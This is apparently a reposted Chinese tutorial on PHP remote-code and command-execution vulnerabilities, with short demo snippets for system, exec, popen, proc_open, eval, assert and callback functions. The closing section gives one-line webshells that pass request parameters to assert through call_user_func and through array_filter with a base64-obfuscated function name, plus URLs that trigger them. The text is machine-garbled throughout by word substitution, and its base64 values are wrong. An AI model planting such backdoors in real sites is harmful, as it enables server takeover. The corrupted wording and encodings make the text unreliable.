一、rce毛病概述
在Web应用开发中为了灵活性、简便性等会让应用调用代码执行函数或体系下令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行毛病或体系下令执行毛病;
二、常见RCE毛病函数
1.体系下令执行函数
(1) system():能将字符串作为OS下令执行,且返回下令执行效果;自带有“输出”,直接输出即可实现。
实例测试:
在文件中写入效果 :
<?php
system('echo "<?php phpinfo();//" > 11111.php');
效果实现 : 先输入 127.0.0.1/demo.php 页面创建成功后输入 127.0.0.1/11111.php 即可
(2)exec():能将字符串作为OS下令执行,但是只返回执行效果的最后一行(约等于无回显);没有“输出” 必要自己写入,才可实现。
实例测试:
<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 下令的体系上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>
效果实现:
(3)passthru():能将字符串作为OS下令执行,只调用下令不返回任何效果,但把下令的运行效果原样输出到标准输出设备上;与system() 类似,也可以直接输出。
实例测试:
<?php
passthru("whoami");
?>
(4)shell_exec():能将字符串作为OS下令执行,通过 shell 执行下令并将完备的输出以字符串的方式返回。
实例测试:
<?php
$output = shell_exec('whoami');
echo "<pre>$output</pre>";
?>
(5)popen():打开进程文件指针,fread管道 ,打开了一个指向进程的管道,该进程由派生给定的 command 下令执行而产生。
注:有一个模式 'r' 表示阅读,'w' 表示写入。
在 Windows 上,popen() 默认是文本模式,即任何从管道中读取/写入的 \n 字符都将转换为 \r\n。如果制止这种情况,可以通过将 mode 设置为 'rb' 和 'wb' 来强制执行二进制模式。
实例测试:
<?php
$handle = popen('whoami', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>
(6)proc_open():与popen()类似,但是 proc_open() 提供了更增强盛的控制步伐执行的本事。
pcntl_exec():在当进步程空间执行指定步伐;
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "d:/aaa.txt", "a") // 标准错误,写入到一个文件
);
$process = proc_open('whoami', $descriptorspec, $pipes);
if (is_resource($process)) {
$output =stream_get_contents($pipes[1]);
fclose($pipes[1]);
$returnValue =proc_close($process);
echo "0utput:".$output;
echo "Return Value:".$returnValue;
}
?>
注:反引号``:反引号``内的字符串会被解析为OS下令;
2.代码执行函数
(1)eval():将字符串作为php代码执行;
(2)assert():将字符串作为php代码执行;
(3)call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
<?php
call_user_func('assert',$_REQUEST['pass'])
?>
127.0.0.1/demo.php?pass=phpinfo()
(4)array_filter():使用回调函数过滤数组的元素
base64 :assert 编码 YXzZXJ0
<?php
$e = $_REQUEST['e']; //编码assert
$arr = array($_POST['pass'],); //phpinfo()
array_filter($arr,base64_decode($e)); //'assert'
?>
127.0.0.1/demo.php?pass=phpinfo()&e=YXNzZXJO
注:可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |